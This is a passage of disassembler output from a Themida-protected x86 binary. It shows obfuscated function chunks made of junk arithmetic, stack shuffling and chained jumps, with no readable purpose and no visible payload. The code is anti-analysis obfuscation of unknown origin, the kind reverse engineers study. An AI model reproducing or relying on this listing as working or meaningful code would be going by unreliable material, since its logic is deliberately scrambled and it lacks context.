loc_58FC79: ; CODE XREF: sub_59196D-21BAj
add edx, ecx
pop ecx
add edi, 6D9711A4h
add edi, edx
sub edi, 6D9711A4h
pop edx
sub edi, esi
jmp loc_58F2B4
; ---------------------------------------------------------------------------
loc_58FC92: ; CODE XREF: sub_59196D+3F38j
xor eax, [esp+0Ch+var_C]
jmp loc_5969BB
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590BE0
loc_58FC9A: ; CODE XREF: sub_590BE0+3DAj
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp+0]
jmp loc_58B643
; END OF FUNCTION CHUNK FOR sub_590BE0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_58FCB0: ; CODE XREF: sub_59196D+16E6j
not ah
inc ah
add ah, 0F5h
jmp loc_58CD53
; ---------------------------------------------------------------------------
loc_58FCBC: ; CODE XREF: sub_59196D-645Dj
pop ecx
jmp loc_592CD9
; ---------------------------------------------------------------------------
loc_58FCC2: ; CODE XREF: sub_59196D+2CDDj
neg dword ptr [esp+0]
pop edi
sub edi, 587BABDDh
jmp loc_58CC0B
; ---------------------------------------------------------------------------
loc_58FCD1: ; CODE XREF: sub_59196D+2D36j
not ah
xor ah, 0BBh
mov cl, ah
pop eax
add bl, 77h
add bl, cl
sub bl, 77h
pop ecx
xor bl, 9Eh
xor al, bl
push [esp-0Ch+arg_8]
pop ebx
push edi
mov edi, esp
jmp loc_5985FF
; ---------------------------------------------------------------------------
loc_58FCF3: ; CODE XREF: sub_59196D-45E6j
xchg eax, [esp+0]
pop esp
push 62D8h
mov [esp+0], ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp+0]
pop esp
push esi
mov esi, esp
push ecx
mov ecx, 7D7879CFh
add ecx, 82878635h
add esi, ecx
jmp loc_58D03E
; ---------------------------------------------------------------------------
loc_58FD24: ; CODE XREF: sub_59196D-2355j
add ecx, 4
xchg ecx, [esp-4+arg_0]
pop esp
add bl, al
push ecx
mov ch, 0F7h
add bl, ch
mov ecx, [esp-4+arg_0]
push edx
jmp loc_593891
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
loc_58FD3B: ; CODE XREF: Themida_:0058EA04j
push eax
mov eax, 4
add [esp+4], eax
pop eax
jmp loc_59604F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_58FD4B: ; CODE XREF: sub_59196D-3588j
push [esp+30h+var_32+2]
pop ecx
add esp, 4
add edx, 272E6327h
add edx, edi
sub edx, 272E6327h
pop edi
push esi
mov esi, 59500B12h
jmp loc_594616
; ---------------------------------------------------------------------------
loc_58FD6C: ; CODE XREF: sub_59196D+254Aj
add ecx, 4
xchg ecx, [esp+2Ch+var_2E+2]
mov esp, [esp+2Ch+var_2E+2]
add esp, 4
sub al, cl
mov ecx, [esp+28h+var_2A+2]
add esp, 4
push ecx
mov cl, 4Eh
jmp loc_58D18A
; END OF FUNCTION CHUNK FOR sub_59196D
; =============== S U B R O U T I N E =======================================
sub_58FD91 proc near ; DATA XREF: Themida_:0058B1ECo
var_2 = word ptr -2
; FUNCTION CHUNK AT 0058D8C4 SIZE 00000005 BYTES
mov ax, fs:[edx]
push small 3574h
mov [esp+2+var_2], ax
jmp loc_58D8C4
sub_58FD91 endp
; ---------------------------------------------------------------------------
push eax
mov eax, esp
push ecx
mov ecx, 72F644C7h
jmp loc_593189
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_58FDB0: ; CODE XREF: sub_59196D+5403j
push edi
jmp loc_58EEC7
; ---------------------------------------------------------------------------
loc_58FDB6: ; CODE XREF: sub_59196D+45EDj
push edx
mov edx, 77F67235h
push 16Ah
mov [esp+34h+var_36+2], esi
jmp loc_58F1A2
; ---------------------------------------------------------------------------
loc_58FDC9: ; CODE XREF: sub_59196D+2EA2j
and esi, 1646256Ch
add esi, 29CC5656h
sub eax, 79845782h
jmp loc_58F159
; ---------------------------------------------------------------------------
loc_58FDDF: ; CODE XREF: sub_59196D+14C2j
add esp, 4
pop [esp+30h+var_32+2]
pop esp
and word ptr [esp+28h+var_2A+2], ax
pushf
jmp loc_58B37B
; ---------------------------------------------------------------------------
loc_58FDF3: ; CODE XREF: sub_59196D-34CFj
mov ebx, 24373962h
jmp loc_58D14B
; ---------------------------------------------------------------------------
loc_58FDFD: ; CODE XREF: sub_59196D:loc_5924CCj
or esi, 2B81280Ch
neg esi
jnp loc_590253
shl esi, 4
jmp loc_595FF1
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
mov edx, esp
jmp loc_58CE22
; ---------------------------------------------------------------------------
loc_58FE1A: ; CODE XREF: Themida_:0058EE68j
dec al
js loc_597E48
shr al, 7
jz loc_5955D9
neg al
jp loc_597E5D
or al, 7Ah
xor al, 8Ah
; START OF FUNCTION CHUNK FOR sub_59196D
loc_58FE37: ; CODE XREF: sub_59196D-62AAj
mov esp, [esp+14h+var_16+2]
div cx
jmp loc_59306F
; ---------------------------------------------------------------------------
loc_58FE42: ; CODE XREF: sub_59196D+5FBCj
mov [esp+14h+var_16+2], esi
mov esi, esp
jmp loc_5972B9
; ---------------------------------------------------------------------------
loc_58FE4C: ; CODE XREF: sub_59196D-E14j
add eax, ecx
pop ecx
add eax, edi
jmp loc_593871
; ---------------------------------------------------------------------------
loc_58FE56: ; CODE XREF: sub_59196D-1588j
mov dx, word ptr [esp+10h+var_12+2]
push ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
xchg ecx, [esp+14h+var_16+2]
pop esp
mov [esp+10h+var_12+2], ebx
push esp
pop ebx
push esi
mov esi, 4
jmp loc_590D4A
; ---------------------------------------------------------------------------
loc_58FE7A: ; CODE XREF: sub_59196D-5699j
add edi, 9136D10Ch
push ecx
push 2B0Fh
mov [esp+1Ch+var_1E+2], edi
jmp loc_594F1A
; ---------------------------------------------------------------------------
loc_58FE8E: ; CODE XREF: sub_59196D+5ABj
push 3D7507FAh
mov esi, [esp+20h+var_22+2]
add esp, 4
push ecx
mov ecx, 17546BC5h
shl ecx, 3
sub ecx, 9F87EC9Bh
xor esi, ecx
pop ecx
sub esi, 266E7673h
mov eax, esi
mov esi, [esp+1Ch+var_1E+2]
add esp, 4
add edi, eax
pop eax
push ebx
mov ebx, 3AB02FFDh
jmp loc_58F86B
; ---------------------------------------------------------------------------
loc_58FECD: ; CODE XREF: sub_59196D+126Cj
sub ebx, 60A843AAh
jns loc_58F684
inc ebx
jp loc_591575
or ebx, 63230EA2h
jle loc_5942C2
loc_58FEEC: ; CODE XREF: sub_59196D-1D0Cj
pop edi
add esi, edi
jmp loc_59543B
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5918E7
loc_58FEF4: ; CODE XREF: sub_5918E7+9j
add edi, 4
push edi
push dword ptr [esp+4]
pop edi
jmp loc_596F45
; END OF FUNCTION CHUNK FOR sub_5918E7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_58FF02: ; CODE XREF: sub_59196D:loc_5903C7j
jmp loc_592495
; ---------------------------------------------------------------------------
loc_58FF07: ; CODE XREF: sub_59196D-15FCj
add ebx, 0E0259CEBh
mov edx, ebx
jmp loc_58F522
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
loc_58FF14: ; DATA XREF: Themida_:0058B100o
mov cx, [esp]
push 13Fh
mov [esp], eax
jmp loc_596A04
; ---------------------------------------------------------------------------
loc_58FF25: ; CODE XREF: Themida_:0058BD11j
push ebx
mov ebx, 7CE916DCh
xor ebx, 1E1B1723h
shr ebx, 3
push ebp
mov ebp, 1AD20829h
or ebx, ebp
pop ebp
and ebx, 29C02E01h
add ebx, 7200F804h
add edx, 0E7C27C8h
sub edx, ebx
sub edx, 0E7C27C8h
pop ebx
sub edx, eax
push ebx
mov ebx, 11DC6AF3h
sub ebx, 4B5D6510h
dec ebx
sub ebx, 4BBE05DDh
add edx, ebx
pop ebx
pop eax
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
mov esp, [esp]
mov [esp], ax
jmp loc_58B37B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_58FF86: ; CODE XREF: sub_59196D+652Aj
mov eax, [esp+6+var_8+2]
add esp, 4
add eax, 4
push edi
mov edi, 2
jmp loc_58BDF0
; ---------------------------------------------------------------------------
loc_58FF9C: ; CODE XREF: sub_59196D-18F1j
mov edi, esp
push ebx
push ecx
mov ecx, 5E654327h
xor ecx, 738E1AF8h
mov ebx, ecx
pop ecx
dec ebx
add ebx, 7D457851h
dec ebx
xor ebx, 0AB30D22Ah
add edi, ebx
jmp loc_58D8EB
; ---------------------------------------------------------------------------
loc_58FFC3: ; CODE XREF: sub_59196D+1D6Cj
xor ebp, 4003350Eh
or ebp, 5B854044h
inc ebp
xor ebp, 273E4508h
add edx, ebp
pop ebp
jmp loc_5900E1
; ---------------------------------------------------------------------------
loc_58FFDE: ; CODE XREF: sub_59196D+BA3j
push 4DF6h
jmp loc_590985
; ---------------------------------------------------------------------------
loc_58FFE8: ; CODE XREF: sub_59196D+6813j
add eax, 4
sub esp, 4
mov [esp+0], edx
push 4
pop edx
sub eax, edx
push dword ptr [esp+0]
pop edx
jmp loc_58DC5C
; ---------------------------------------------------------------------------
loc_590007: ; CODE XREF: sub_59196D+4CAEj
jg loc_58CA74
xor ecx, 61E02EFDh
push esi
mov esi, ecx
jmp loc_592A86
; ---------------------------------------------------------------------------
loc_59001B: ; CODE XREF: sub_59196D-21A0j
and eax, ecx
pop ecx
or edx, eax
shl edx, 1
push ecx
sub esp, 4
mov [esp+0Ch+var_C], ebx
push ecx
jmp loc_590FF1
; ---------------------------------------------------------------------------
loc_590032: ; CODE XREF: sub_59196D+AF9j
mov [esp+10h+var_12+2], edx
mov edx, esp
add edx, 4
sub edx, 4
push edx
push [esp+14h+var_12+2]
mov edx, [esp+18h+var_1A+2]
add esp, 4
pop [esp+14h+var_16+2]
jmp loc_595C26
; ---------------------------------------------------------------------------
loc_590056: ; CODE XREF: sub_59196D+629Fj
xchg ecx, [esp+10h+var_12+2]
pop esp
shl byte ptr [esp+0Ch+var_C], cl
pushf
jmp loc_58B37B
; ---------------------------------------------------------------------------
loc_590063: ; CODE XREF: sub_59196D+611Fj
sub ecx, 4
xchg ecx, [esp+10h+var_12+2]
pop esp
jmp loc_592993
; ---------------------------------------------------------------------------
loc_59006F: ; CODE XREF: sub_59196D+46DDj
push dword ptr [edi+eax*4]
push [esp+10h+var_12+2]
pop eax
sub esp, 4
mov [esp+14h+var_16+2], edi
jmp loc_58FF9C
; ---------------------------------------------------------------------------
loc_590081: ; CODE XREF: sub_59196D-F36j
; sub_59196D+48C3j
mov cx, word ptr [esp+14h+var_16+2]
push ecx
sub esp, 4
jmp loc_595675
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C3EF
loc_590091: ; CODE XREF: sub_58C3EF+137Aj
sub edi, 54024096h
inc edi
jmp loc_592FAB
; END OF FUNCTION CHUNK FOR sub_58C3EF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_59009D: ; CODE XREF: sub_59196D-45DFj
pop ecx
sub al, 28h
sub al, 92h
add al, 0EDh
push 358Ah
mov [esp+0], edx
push eax
jmp loc_58C54F
; ---------------------------------------------------------------------------
loc_5900B2: ; CODE XREF: sub_59196D+334Bj
push [esp+4Ah+var_4A]
jmp loc_593E2C
; ---------------------------------------------------------------------------
loc_5900BA: ; CODE XREF: sub_59196D+5515j
neg dl
jnb loc_596E2A
sub dl, 47h
jmp loc_5935C0
; ---------------------------------------------------------------------------
loc_5900CA: ; CODE XREF: sub_59196D-DA3j
mov word ptr [esp+4Eh+var_4E], ax
jmp loc_58BA31
; ---------------------------------------------------------------------------
loc_5900D3: ; CODE XREF: sub_59196D-6024j
mov esp, [esp+20h+var_22+2]
bts word ptr [esp+20h+var_22+2], ax
pushf
jmp loc_58B37B
; ---------------------------------------------------------------------------
loc_5900E1: ; CODE XREF: sub_59196D-1994j
add ebx, 4AD373C1h
add ebx, edx
sub ebx, 4AD373C1h
jmp loc_596BB1
; ---------------------------------------------------------------------------
loc_5900F4: ; CODE XREF: sub_59196D-5245j
add edi, 4
xchg edi, [esp+32h+var_32]
pop esp
sub esp, 4
mov [esp+32h+var_32], esi
mov esi, esp
add esi, 4
add esi, 4
push esi
push [esp+36h+var_32]
jmp loc_58C4E5
; ---------------------------------------------------------------------------
loc_590116: ; CODE XREF: sub_59196D-3865j
add al, bl
jmp loc_58C17C
; ---------------------------------------------------------------------------
loc_59011D: ; CODE XREF: sub_59196D-3ADBj
add ebx, 4
jmp loc_58E276
; ---------------------------------------------------------------------------
loc_590128: ; CODE XREF: sub_59196D:loc_5956BFj
not ah
xor ah, 0BBh
jmp loc_59025B
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58D7D7
loc_590132: ; CODE XREF: sub_58D7D7+3B5Ej
shl edi, 4
push edx
push ebp
mov ebp, 386155h
mov edx, ebp
pop ebp
jmp loc_592AF1
; END OF FUNCTION CHUNK FOR sub_58D7D7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_590144: ; CODE XREF: sub_59196D-3D49j
dec ebp
or ebp, 5EBD6903h
xor ebp, 5FBF69BBh
jmp loc_592D29
; ---------------------------------------------------------------------------
loc_590156: ; CODE XREF: sub_59196D:loc_594C1Fj
not edi
add edi, 70AC2BC7h
jmp loc_5922B0
; ---------------------------------------------------------------------------
loc_590163: ; CODE XREF: sub_59196D+2323j
jmp loc_58B37B
; ---------------------------------------------------------------------------
loc_590168: ; CODE XREF: sub_59196D-F94j
pop esp
mov [esp+1Ch+var_1E+2], eax
jmp loc_591851
; ---------------------------------------------------------------------------
loc_590171: ; CODE XREF: sub_59196D+A1Aj
mov esi, 7C501DC6h
xor esi, 4D963EFCh
jns loc_59185F
jmp loc_592196
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
xchg ebx, [esp]
pop esp
push ebp
jmp loc_591A59
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_590191: ; CODE XREF: sub_59196D-36BBj
or ebx, 4036301Ah
xor ebx, 458148F1h
jmp loc_59853D
; ---------------------------------------------------------------------------
loc_5901A2: ; CODE XREF: sub_59196D-5D99j
; sub_59196D+15E6j
add esp, 4
jmp loc_58CFB1
; ---------------------------------------------------------------------------
loc_5901AD: ; CODE XREF: sub_59196D+5E13j
and esi, 5CAB4A71h
ja loc_5933B1
jmp loc_58CD8B
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
pop edi
jmp loc_592911
; ---------------------------------------------------------------------------
mov dh, ah
pop edx
; START OF FUNCTION CHUNK FOR sub_59196D
loc_5901C7: ; CODE XREF: sub_59196D+18Aj
xchg edx, [esp+18h+var_1A+2]
pop esp
add edi, 4
xchg edi, [esp+14h+var_16+2]
mov esp, [esp+14h+var_16+2]
shr ecx, 0
or eax, eax
jz loc_5930D5
push edx
sub esp, 4
mov [esp+1Ch+var_1E+2], ebx
add [esp+1Ch+var_1E+2], 2D657D8Ah
jmp loc_593CAC
; ---------------------------------------------------------------------------
loc_5901F8: ; CODE XREF: sub_59196D-5FAFj
; sub_59196D+136Dj
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp+1Ch+var_1E+2]
jmp loc_5945BF
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C816
loc_59020E: ; CODE XREF: sub_58C816+Ej
dec edi
add edi, 5A7828D5h
neg edi
push edx
push ebx
jmp loc_5979D2
; END OF FUNCTION CHUNK FOR sub_58C816
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_59021E: ; CODE XREF: sub_59196D-4DF2j
mov cl, byte ptr [esp+1Ch+var_1E+2]
add esp, 4
shr cl, 8
dec cl
shl cl, 4
xor cl, 0F8h
sub al, cl
pop ecx
sub esp, 4
mov [esp+18h+var_1A+2], edx
push ecx
mov cl, 24h
mov dl, 4Ch
sub dl, 0BCh
jmp loc_58DA28
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C19E
loc_590245: ; CODE XREF: sub_58C19E+12j
add esp, 4
or [edi+1Ch], ebp
mov ebp, [esp-4+arg_0]
jmp loc_5921FC
; END OF FUNCTION CHUNK FOR sub_58C19E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_590253: ; CODE XREF: sub_59196D-1B68j
shl esi, 4
jmp loc_58E9B7
; ---------------------------------------------------------------------------
loc_59025B: ; CODE XREF: sub_59196D-1840j
; sub_59196D+CACj
mov edx, esp
add edx, 4
sub edx, 4
xchg edx, [esp+34h+var_36+2]
pop esp
mov [esp+30h+var_32+2], ecx
push esp
pop ecx
push edi
mov edi, 30921108h
push ebp
push ebx
mov ebx, 12390ACBh
sub ebx, 19CD6365h
xor ebx, 3AEF32D6h
sub ebx, 8FC25D03h
jmp loc_58D98D
; ---------------------------------------------------------------------------
loc_590293: ; CODE XREF: sub_59196D-41E6j
pop esp
push dword ptr [eax]
jmp loc_58B37B
; ---------------------------------------------------------------------------
loc_59029B: ; CODE XREF: sub_59196D-4A0Bj
pop edi
push 7C1Bh
jmp loc_58EB8E
; ---------------------------------------------------------------------------
loc_5902A6: ; CODE XREF: sub_59196D-2AEDj
; sub_59196D+20ECj
mov ebp, 4
jmp loc_5950F5
; ---------------------------------------------------------------------------
loc_5902B0: ; CODE XREF: sub_59196D-61B6j
push [esp+1Ch+var_1A+2]
mov ebx, [esp+20h+var_22+2]
add esp, 4
pop [esp+1Ch+var_1E+2]
pop esp
mov [esp+14h+var_16+2], eax
mov eax, esp
push ecx
mov ecx, 4
add eax, ecx
jmp loc_591412
; END OF FUNCTION CHUNK FOR sub_59196D
; =============== S U B R O U T I N E =======================================
sub_5902D0 proc near ; DATA XREF: Themida_:0058B1E4o
var_4 = dword ptr -4
lodsd
push 380Fh
mov [esp+4+var_4], eax
mov eax, esp
add eax, 4
jmp loc_596693
sub_5902D0 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_5902E5: ; CODE XREF: sub_59196D+2D08j
neg al
jmp loc_58B88F
; ---------------------------------------------------------------------------
loc_5902EC: ; CODE XREF: sub_59196D+3702j
mov [esp+18h+var_1A+2], esi
add [esp+18h+var_1A+2], 0C095090h
pop edi
sub edi, 0C095090h
pop esi
push esi
mov esi, 20532E8Eh
shr esi, 3
sub esi, 25004337h
sub esi, 793BB041h
sub edi, esi
pop esi
and ecx, edi
pop edi
shr ecx, 6
jmp loc_58CEB2
; ---------------------------------------------------------------------------
loc_590321: ; CODE XREF: sub_59196D:loc_594845j
xor ebx, 5C567F63h
add eax, 4F8B3455h
sub eax, ebx
jmp loc_594298
; ---------------------------------------------------------------------------
loc_590333: ; CODE XREF: sub_59196D-3D16j
add esi, edx
pop edx
push ecx
mov ecx, 62E37FF4h
shl ecx, 3
dec ecx
add ecx, 0FFFFFFFFh
xor ecx, 171BFF9Ch
add esi, ecx
push [esp+1Ch+var_1E+2]
pop ecx
add esp, 4
xchg esi, [esp+18h+var_1A+2]
pop esp
imul cx, ax
jmp loc_596D5A
; ---------------------------------------------------------------------------
loc_590362: ; CODE XREF: sub_59196D-2C1Aj
sub ebx, 277D0950h
add ebx, 57474D0Fh
shr ebx, 2
jnp loc_58FF07
add ebx, 0E0259CEBh
mov edx, ebx
jmp loc_58E439
; ---------------------------------------------------------------------------
loc_590384: ; CODE XREF: sub_59196D+4D07j
sub bh, 5Eh
xor cl, bh
pop ebx
push edx
mov dl, 0F9h
add cl, 5Ch
jmp loc_58D361
; ---------------------------------------------------------------------------
loc_590395: ; CODE XREF: sub_59196D-2812j
add eax, 79845782h
pop esi
mov edi, [esp+10h+var_12+2]
jmp loc_5976B5
; ---------------------------------------------------------------------------
loc_5903A3: ; CODE XREF: sub_59196D+562Aj
mov word ptr [esp+10h+var_12+2], cx
jmp loc_58E83C
; ---------------------------------------------------------------------------
loc_5903AC: ; CODE XREF: sub_59196D+1A06j
mov [esp+10h+var_12+2], edx
push ecx
jmp loc_592F15
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
mov cx, [esp]
push ecx
jmp loc_595B64
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_5903BF: ; CODE XREF: sub_59196D+58A8j
sub dl, 0ECh
jmp loc_597065
; ---------------------------------------------------------------------------
loc_5903C7: ; CODE XREF: sub_59196D+423Ej
jno loc_58FF02
jmp loc_59759C
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
add ebx, 0E0259CEBh
mov edx, ebx
; START OF FUNCTION CHUNK FOR sub_59196D
loc_5903DA: ; CODE XREF: sub_59196D+5FFFj
add edi, edx
pop edx
jmp loc_58F876
; ---------------------------------------------------------------------------
loc_5903E2: ; CODE XREF: sub_59196D+5380j
movzx eax, al
jmp loc_58FE56
; ---------------------------------------------------------------------------
loc_5903EA: ; CODE XREF: sub_59196D+6B05j
push eax
mov eax, 46483761h
not eax
add eax, 0FFFFFFFFh
or eax, 76E93B6Fh
inc eax
xor eax, 2BEE5336h
sub eax, 6F8D93ADh
add ebx, eax
pop eax
jmp loc_58BBAC
; ---------------------------------------------------------------------------
loc_59040F: ; CODE XREF: sub_59196D+184Dj
inc edi
jmp loc_59239D
; ---------------------------------------------------------------------------
loc_590415: ; CODE XREF: sub_59196D-5611j
pop edx
mov si, bx
mov ebx, [esp+18h+var_1A+2]
jmp loc_58E868
; ---------------------------------------------------------------------------
loc_590421: ; CODE XREF: sub_59196D-64E2j
pop ecx
jmp loc_590AE3
; ---------------------------------------------------------------------------
loc_590427: ; CODE XREF: sub_59196D+6805j
sub edx, 3FFD555Bh
jmp loc_5972A1
; ---------------------------------------------------------------------------
loc_590432: ; CODE XREF: sub_59196D+2D5Bj
pop ecx
jmp loc_58F436
; END OF FUNCTION CHUNK FOR sub_59196D
; =============== S U B R O U T I N E =======================================
sub_590438 proc near ; CODE XREF: sub_59196D-4E2Fj
var_4 = dword ptr -4
sub esp, 4
mov [esp+4+var_4], esp
add [esp+4+var_4], 4
mov ebx, [esp+4+var_4]
jmp sub_590CDB
sub_590438 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_59044D: ; CODE XREF: sub_59196D-3B98j
xor edi, 0A7B55F74h
jmp loc_595C05
; ---------------------------------------------------------------------------
loc_590458: ; CODE XREF: sub_59196D-4DACj
push ecx
jmp loc_58CBE0
; ---------------------------------------------------------------------------
loc_59045E: ; CODE XREF: sub_59196D+3753j
pop eax
push ebp
xor [esp+30h+var_32+2], 44317DB5h
pop ebx
xor ebx, 44317DB5h
jmp loc_58D957
; ---------------------------------------------------------------------------
loc_590473: ; CODE XREF: sub_59196D+495Dj
mov esi, ebp
mov ebx, esi
jmp loc_59512D
; ---------------------------------------------------------------------------
loc_59047C: ; CODE XREF: sub_59196D-3A4Fj
push 7450h
mov [esp+3Ch+var_3C], eax
xchg edx, [esp+3Ch+var_3C]
jmp loc_590AAE
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58B60E
loc_59048C: ; CODE XREF: sub_58B60E+4F92j
pop esi
push ecx
jmp loc_590786
; END OF FUNCTION CHUNK FOR sub_58B60E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_590493: ; CODE XREF: sub_59196D-25FBj
pop ebp
jmp loc_58E186
; ---------------------------------------------------------------------------
loc_590499: ; CODE XREF: sub_59196D+4D92j
xchg edx, edi
xchg edi, [esp+40h+var_40]
mov eax, [esp+40h+var_40]
add esp, 4
push 24A6h
mov [esp+40h+var_40], edi
sub esp, 4
mov [esp+44h+var_44], ecx
push ebp
push edi
mov edi, 0D680CC6h
push edi
xor dword ptr [esp+0], 5FFE462Ah
pop ebp
xor ebp, 5FFE462Ah
pop edi
mov ecx, 0F297F33Bh
add ecx, ebp
jmp loc_58E6D1
; ---------------------------------------------------------------------------
loc_5904D8: ; CODE XREF: sub_59196D+36CBj
sub edx, 4
xchg edx, [esp+48h+var_4A+2]
pop esp
mov [esp+44h+var_44], eax
push esp
pop eax
sub esp, 4
mov [esp+48h+var_4A+2], edi
jmp loc_591B27
; ---------------------------------------------------------------------------
loc_5904F5: ; CODE XREF: sub_59196D-54Dj
add eax, 76DF5E22h
pop edi
xor eax, [esp+44h+var_44]
xor [esp+44h+var_44], eax
jmp loc_5943B9
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58E0B1
loc_590506: ; CODE XREF: sub_58E0B1+321j
pop ebp
push eax
mov eax, esp
jmp sub_58C68D
; END OF FUNCTION CHUNK FOR sub_58E0B1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_59050F: ; CODE XREF: sub_59196D-E62j
sub eax, 1655AE1h
sub eax, 0EA55CAB3h
sub edx, 42B42D98h
sub edx, eax
add edx, 42B42D98h
pop eax
sub edx, 61980A04h
jmp loc_58C301
; ---------------------------------------------------------------------------
loc_590533: ; CODE XREF: sub_59196D-49Cj
push esi
push ecx
mov ecx, 8201EAAh
push edi
jmp loc_597D41
; ---------------------------------------------------------------------------
loc_590540: ; CODE XREF: sub_59196D+6504j
push edx
mov dh, 1Dh
sub al, dh
jmp loc_597168
; ---------------------------------------------------------------------------
loc_59054A: ; CODE XREF: sub_59196D-5DC6j
inc edi
jmp loc_595713
; ---------------------------------------------------------------------------
loc_590550: ; CODE XREF: sub_59196D:loc_58BE08j
sub esi, 2C521FCAh
jmp loc_58F011
; ---------------------------------------------------------------------------
loc_59055B: ; CODE XREF: sub_59196D+6741j
pop ebx
sub ebp, 4
jmp loc_5973DA
; ---------------------------------------------------------------------------
loc_590564: ; CODE XREF: sub_59196D+2AC6j
xor ebp, [esp+2Ah+var_2A]
mov esp, [esp+2Ah+var_2A]
mov [esp+2Ah+var_2A], ebx
jmp loc_597D39
; ---------------------------------------------------------------------------
loc_590572: ; CODE XREF: sub_59196D-48j
pop esp
mov [esp+26h+var_26], ebx
mov bh, 74h
inc bh
push edx
jmp loc_59666D
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58B60E
loc_590580: ; CODE XREF: sub_58B60E+3j
mov [esp+4+var_4], eax
mov eax, 7FFC78EEh
neg eax
or eax, 3A1832B8h
shr eax, 2
push ebp
mov ebp, 0D1791216h
add eax, ebp
pop ebp
mov esi, eax
pop eax
sub ecx, esi
jmp loc_59048C
; END OF FUNCTION CHUNK FOR sub_58B60E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_5905A5: ; CODE XREF: sub_59196D+2FF0j
jmp loc_58B37B
; ---------------------------------------------------------------------------
loc_5905AA: ; CODE XREF: sub_59196D+131j
pop [esp+2Ah+var_2A]
mov esp, [esp+26h+var_26]
jmp near ptr dword_58C1C8+34h
; ---------------------------------------------------------------------------
loc_5905B5: ; CODE XREF: sub_59196D-8A4j
mov [esp+26h+var_26], ebx
push edx
mov edx, 0A035C5Bh
mov ebx, edx
mov edx, [esp+2Ah+var_2A]
add esp, 4
jmp loc_58B670
; ---------------------------------------------------------------------------
loc_5905CB: ; CODE XREF: sub_59196D-2EC4j
mov esi, 2
add edx, 8535A00h
sub edx, 52596B1Eh
sub edx, 61863996h
jmp loc_5983D0
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
loc_5905E7: ; CODE XREF: Themida_:0058D6B1j
sub eax, 38AD0B28h
sub eax, ebx
add eax, 38AD0B28h
push ebp
push edi
push ebp
mov ebp, 7B6D07A3h
mov edi, 0F4164B30h
add edi, ebp
pop ebp
push edi
mov ebp, [esp]
jmp loc_58CDCE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_59060C: ; CODE XREF: sub_59196D+82Aj
mov ecx, esp
add ecx, 4
jmp loc_5909D0
; ---------------------------------------------------------------------------
loc_590619: ; CODE XREF: sub_59196D-1E00j
; sub_59196D+3C74j
push dword ptr [edi+1Ch]
push [esp+4+var_4]
push [esp+8+var_8]
mov ecx, [esp+0Ch+var_C]
jmp loc_58B5DC
; ---------------------------------------------------------------------------
loc_59062A: ; CODE XREF: sub_59196D+4FF0j
sub edi, 30F0A6Dh
jmp loc_5924FC
; ---------------------------------------------------------------------------
loc_590635: ; CODE XREF: sub_59196D-5CD1j
xor edx, ecx
jmp loc_5921C3
; ---------------------------------------------------------------------------
loc_59063C: ; CODE XREF: sub_59196D-3A94j
push eax
push esp
pop eax
push 38D4h
mov [esp+0], ecx
mov ecx, 286D7CF6h
jmp loc_59395C
; ---------------------------------------------------------------------------
loc_590651: ; CODE XREF: sub_59196D+635Dj
mov esi, 4
jmp loc_5957D7
; ---------------------------------------------------------------------------
loc_59065B: ; CODE XREF: sub_59196D-594Cj
; sub_59196D:loc_58C0F3j
push dword ptr [esp+0]
pop edx
add esp, 4
xor bl, al
sub esp, 4
mov [esp+0], ecx
